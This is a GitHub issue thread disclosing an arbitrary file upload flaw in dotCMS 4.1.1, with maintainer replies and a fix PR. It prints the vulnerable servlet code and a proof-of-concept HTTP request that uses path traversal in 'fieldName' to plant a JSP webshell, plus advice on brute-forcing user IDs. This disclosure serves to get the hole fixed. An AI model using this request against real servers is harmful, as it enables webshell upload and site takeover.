Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

/assets directory accessible via web request #12131

Closed
kimiizhang opened this issue Jul 18, 2017 · 5 comments

Comments

Projects
None yet
5 participants
@kimiizhang
Copy link

commented Jul 18, 2017

==========================
Author: M3@pandas From DBAppSecurity Security Lab
Affected Version: 4.1.1 the latest version

Vulnerable cgi:
/dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:

private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
    throws IOException
  {
    String fieldName = null;
    AjaxFileUploadListener listener = null;
    try
    {
      String fileName = "";
      
      listener = new AjaxFileUploadListener(request.getContentLength());
      FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
      fieldName = request.getParameter("fieldName");
      Enumeration params = request.getParameterNames();
      session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
      ServletFileUpload upload = new ServletFileUpload(factory);
      
      List items = upload.parseRequest(request);
      boolean hasError = false;
      this.isEmptyFile = false;
      
      String userId = null;
      if (UtilMethods.isSet(session.getAttribute("USER_ID")))
      {
        userId = (String)session.getAttribute("USER_ID");
        User user = UserLocalManagerUtil.getUserById(userId);
        if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
          throw new Exception("Could not upload File. Invalid User");
        }
      }
      else
      {
        throw new Exception("Could not upload File. Invalid User");
      }
      for (Iterator i = items.iterator(); i.hasNext();)
      {
        FileItem fileItem = (FileItem)i.next();
        if (!fileItem.isFormField())
        {
          if (fileItem.getSize() == 0L) {
            this.isEmptyFile = true;
          }
          if (fileItem.getName().contains(File.separator)) {
            fileName = fileItem.getName().substring(fileItem
              .getName().lastIndexOf(File.separator) + 1);
          } else {
            fileName = fileItem.getName();
          }
          fileName = ContentletUtil.sanitizeFileName(fileName);
          
          File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName);
          if (!isValidPath(tempUserFolder.getCanonicalPath())) {
            throw new IOException("Invalid fileName or Path");
          }
          if (!tempUserFolder.exists()) {
            tempUserFolder.mkdirs();
          }
          File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
          if (dest.exists()) {
            dest.delete();
          }
          fileItem.write(dest);
          fileItem.delete();
        }
      }
      if (this.isEmptyFile) {
        fileName = "";
      }
      if (!hasError) {
        sendCompleteResponse(response, null);
      } else {
        sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
      }
    }
    catch (Exception e)
    {
      listener.error("error");
      session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
      sendCompleteResponse(response, e.getMessage());
      e.printStackTrace();
    }
  }

tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-defined,so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server.

==========================
POC && EXP

  1. Login as administrator

  2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
    Host: 192.168.1.204:8080
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=--------1234995635
    Cookie: your own cookies
    Connection: close
    Content-Length: 138

    ----------1234995635
    Content-Disposition: form-data; name="xxx"; filename="test.jsp"

    <% out.print("test_for_fun!");%>
    ----------1234995635--

  3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp

Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .

@wezell

This comment has been minimized.

Copy link
Contributor

commented Jul 18, 2017

While this could be tighter, the /assets directory is a disallowed path in dotcms and no file can be served from that path unless it is circumvented:

https://github.com/dotCMS/core/blob/master/dotCMS/src/main/java/com/dotmarketing/filters/CMSFilter.java#L121-L124

This means that

http://192.168.1.204:8080/assets/tmp_upload/test.jsp

cannot be accessed via a web request.

Please comment if this is incorrect.

@wezell wezell closed this Jul 18, 2017

@kimiizhang

This comment has been minimized.

Copy link
Author

commented Jul 18, 2017

@wezell I think you got something wrong ! I just tested your demo site, show you my jsp file:
https://demo.dotcms.com/assets/tmp_upload/dotcms.org.1/test.jsp

image

@wezell

This comment has been minimized.

Copy link
Contributor

commented Jul 18, 2017

@kimiizhang thank you for proving me wrong! That path should not be allowed and we will take a look at it.

@wezell wezell reopened this Jul 18, 2017

wezell added a commit that referenced this issue Jul 18, 2017

@wezell wezell changed the title DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability /assets directory accessible via web request Jul 18, 2017

wezell added a commit that referenced this issue Jul 19, 2017

jgambarios added a commit that referenced this issue Jul 25, 2017

#12131 fixes arbitrary upload (#12134)
* #12131 fixes arbitrary upload

* #12131 fixes jenkins feedback
@jgambarios

This comment has been minimized.

Copy link
Contributor

commented Jul 25, 2017

PR: #12134

@bryanboza

This comment has been minimized.

Copy link
Contributor

commented Aug 18, 2017

Unable to reproduce in the last master...

@bryanboza bryanboza added Passed QA and removed Needs QA labels Aug 18, 2017

@bryanboza bryanboza moved this from CODY to Done in QA Aug 18, 2017

@wezell wezell closed this Oct 2, 2017

@bryanboza bryanboza removed this from Done in QA Nov 3, 2017

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.